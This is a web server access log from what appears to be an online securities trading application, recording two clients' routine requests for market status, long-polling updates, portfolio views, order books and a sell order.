[09/Jan/2026:13:07:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:07:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935563196 HTTP/1.1" -
[09/Jan/2026:13:07:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935547773 HTTP/1.1" -
[09/Jan/2026:13:08:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:08:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:08:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935552974 HTTP/1.1" -
[09/Jan/2026:13:08:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935569199 HTTP/1.1" -
[09/Jan/2026:13:08:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:08:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:08:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935558076 HTTP/1.1" -
[09/Jan/2026:13:08:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935575195 HTTP/1.1" -
[09/Jan/2026:13:08:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935563142 HTTP/1.1" -
[09/Jan/2026:13:08:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935581186 HTTP/1.1" -
[09/Jan/2026:13:08:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935568310 HTTP/1.1" -
[09/Jan/2026:13:08:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935587199 HTTP/1.1" -
[09/Jan/2026:13:08:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935573467 HTTP/1.1" -
[09/Jan/2026:13:08:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:08:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:08:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:08:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:08:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935593199 HTTP/1.1" -
[09/Jan/2026:13:08:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935578675 HTTP/1.1" -
[09/Jan/2026:13:08:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:08:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:08:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935599184 HTTP/1.1" -
[09/Jan/2026:13:08:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:08:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:08:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935583859 HTTP/1.1" -
[09/Jan/2026:13:08:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935588964 HTTP/1.1" -
[09/Jan/2026:13:08:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935605190 HTTP/1.1" -
[09/Jan/2026:13:08:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935594022 HTTP/1.1" -
[09/Jan/2026:13:08:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935611197 HTTP/1.1" -
[09/Jan/2026:13:08:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935599145 HTTP/1.1" -
[09/Jan/2026:13:08:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935617197 HTTP/1.1" -
[09/Jan/2026:13:08:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935604267 HTTP/1.1" -
[09/Jan/2026:13:08:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935623191 HTTP/1.1" -
[09/Jan/2026:13:09:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935609404 HTTP/1.1" -
[09/Jan/2026:13:09:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:09:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:13:09:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:09:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1803
[09/Jan/2026:13:09:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935629186 HTTP/1.1" -
[09/Jan/2026:13:09:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:13:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 305
[09/Jan/2026:13:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 6
[09/Jan/2026:13:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935614530 HTTP/1.1" -
[09/Jan/2026:13:09:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:09:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:09:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1230
[09/Jan/2026:13:09:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:13:09:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:09:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1019
[09/Jan/2026:13:09:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:13:09:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:09:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:09:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:09:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1810
[09/Jan/2026:13:09:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935635188 HTTP/1.1" -
[09/Jan/2026:13:09:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935619595 HTTP/1.1" -
[09/Jan/2026:13:09:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935624664 HTTP/1.1" -
[09/Jan/2026:13:09:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935641197 HTTP/1.1" -
[09/Jan/2026:13:09:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935629727 HTTP/1.1" -
[09/Jan/2026:13:09:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935647186 HTTP/1.1" -
[09/Jan/2026:13:09:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935634915 HTTP/1.1" -
[09/Jan/2026:13:09:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935653184 HTTP/1.1" -
[09/Jan/2026:13:09:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935640051 HTTP/1.1" -
[09/Jan/2026:13:09:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935659194 HTTP/1.1" -
[09/Jan/2026:13:09:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:09:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935645257 HTTP/1.1" -
[09/Jan/2026:13:09:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:09:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:09:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:09:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935665185 HTTP/1.1" -
[09/Jan/2026:13:09:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935650324 HTTP/1.1" -
[09/Jan/2026:13:09:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935671196 HTTP/1.1" -
[09/Jan/2026:13:09:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935655366 HTTP/1.1" -
[09/Jan/2026:13:09:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:09:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:09:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1810
[09/Jan/2026:13:09:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935660543 HTTP/1.1" -
[09/Jan/2026:13:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderDetail HTTP/1.1" 1389
[09/Jan/2026:13:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_75_e6e6e6_1x400.png HTTP/1.1" 262
[09/Jan/2026:13:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_75_dadada_1x400.png HTTP/1.1" 262
